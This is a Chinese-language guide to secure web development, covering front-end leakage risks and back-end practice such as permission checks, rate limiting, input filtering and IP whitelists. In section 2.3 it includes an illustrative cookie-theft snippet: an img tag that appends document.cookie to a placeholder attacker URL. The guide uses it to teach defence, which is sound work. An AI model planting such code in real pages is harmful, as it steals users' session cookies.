WEB 应用安全开发
黑客大部分利用的是软件的漏洞,所以我们要尽可能在开发的时候切断所有可能被利用的地方。要想开发出安全的系统,我们需要熟悉黑客进攻的模式和防守的策略。
1. 简介
重视安全最好的策略是将风险最大化,开发的时候要换位思考,如果我是黑客我是不是有办法绕过当前的限制。在进行具体场景讲解前,先来了解一些关键词。
1.1 关键名词
-
同域: 相同域名,端口相同,协议相同,缺一不可。
-
跨域: 浏览器从一个域名的网页去请求另一个域名的资源时,域名、端口、协议至少有一个不相同,就是跨域。
-
ECMAScript: 简称(ES)JavaScript 所遵循的语法标准。
-
W3C: 即 万维网联盟 ,最重要的工作是发展 Web 规范,这些规范描述了 Web 的通信协议(比如 HTML 和 XHTML)和其他的构建模块。
1.2 安全领域的参与者
把握安全领域就要把握 Web 流程中的参与者,除了攻击者外其它角色均需要提供安全的解决方案。从大的方向有下面几大角色,没有谁是绝对安全的。
2. 前端安全开发
前端的安全主要围绕 W3C 进行,同时浏览器的漏洞和 Http 协议本身的缺陷也会造成影响。
2.1 明文防范
W3C 三个核心对象:HTML,JavaScript,CSS 分别负责了网站的内容结构,动作交互逻辑,展示样式。这么核心的东西在客户都是很容易查看的。虽然 JavaScript 可以混淆加密,但是最终他是需要被浏览器解析的,所以肯定是有一套固定的规范,黑客同样可以轻易解密。
明文也就算了,用户居然可以任意更改上面 W3C 的核心对象,并产生不同的效果,真的是危机四伏。
- 不要异想天开的在前端与后台约定某个加密算法,这样算法一下子就泄露了;
- 对于前端的输入都要保持怀疑,重要的数据如果后端允许,需要自行生成或者加以校验;
- 虽然客户端的一览无遗,但是还是要尽量使用 Https 协议,保证传输的过程是加密的;
- 需要权限的操作,即使前端按钮隐藏了,后端的接口也需要重新鉴权下,很可能客户端自己修改 CSS 使按钮显示出来了;
2.2 URL 导致的泄露问题
前端任何地方带有 URL 的都要引起警惕,主要可能带来下面安全问题:
- 构建系统的某些接口等用户登录后触发;
- 调用别的网站,将该作用域下的 Cookie 传输出去。
常见隐藏点:
图片
<img src='http:xxx'>
css 样式
background:url(bgimage.gif)
表单 action 地址,或者注入隐藏的 input 参数
<form action=''>
<input type="hidden" name="field_name" value="value">
2.3 window 下的全局变量
Window 下面带了很多可以直接使用的全局变量,要警惕危险。
危险点:利用 window.document 获取本域 cookie 然后传输到黑客的网站
<img src='别的网站URL?param='+document.cookie >
容易受跨站脚本攻击利用
window.location.href = 【该值最好不要是动态的,容易被注入】
3. 后端安全开发
3.1 规范问题
- 权威机构平台漏洞订阅,并及时做出修改。
- 开发规范的遵守
- 学习相关开发规范手册。
- IDEA 安装实时的代码扫描插件,有问题的地方及时更正。
- 代码 review 实践。
- 重要参数不要轻易在日志中输出。
- 代码泄露
- 代码不要上传网上。
- 数据库,签名算法,密钥值 要重要保管,线上不相关的人不要泄露。
- 重要账号不要为了一时方便提供给开发,测试 等不相干人员,如果有也要及时修改密码。
3.2 设计问题
- 类似活动的抽奖,优惠卷领取逻辑不够严谨,可能被人褥羊毛;
- 登录没有限制次数,容易被暴力破解;
- 短信验证没有设置重发时间,容易被利用做短信轰炸。
3.3 信任问题
-
同域:检查请求头的 ref 参数,要么是同域的,要么是信任的才响应。
-
请求参数
- 不要太信任前端参数,重要值后台能获取的尽量自己获取。
- 请求的所有参数都做下 XSS/ SQL 注入 的关键字符的过滤。
-
权限:涉及到权限的后端都要自己校验,不要说前端按钮隐藏了就可以了。
3.4 增加风控逻辑
- 用户的账号异地登陆,可以做出些限制或提醒。
- 某个用户购买的某个商品或者领取的优惠卷异常多,做出限制。
- 通过 AI 智能模型,对用户行为,流量数据进行检测,模型异常就做出限制。
3.5 网络策略限制
- 数据库,Redis,ES,等需要设置访问的 IP 白名单。
- 对服务器进流量和出流量端口做限制。
- 架构上面尽量隐藏内部服务等地址。
- 数据库和应用最好分开,以免被一锅端。
4. 小结
安全问题需要经验累积,软件开发作为一个团队协作的工作,大家经验水平不同,所以尽量在团队中分享安全开发的相关知识,技术 Leader 定期 Review 组员代码。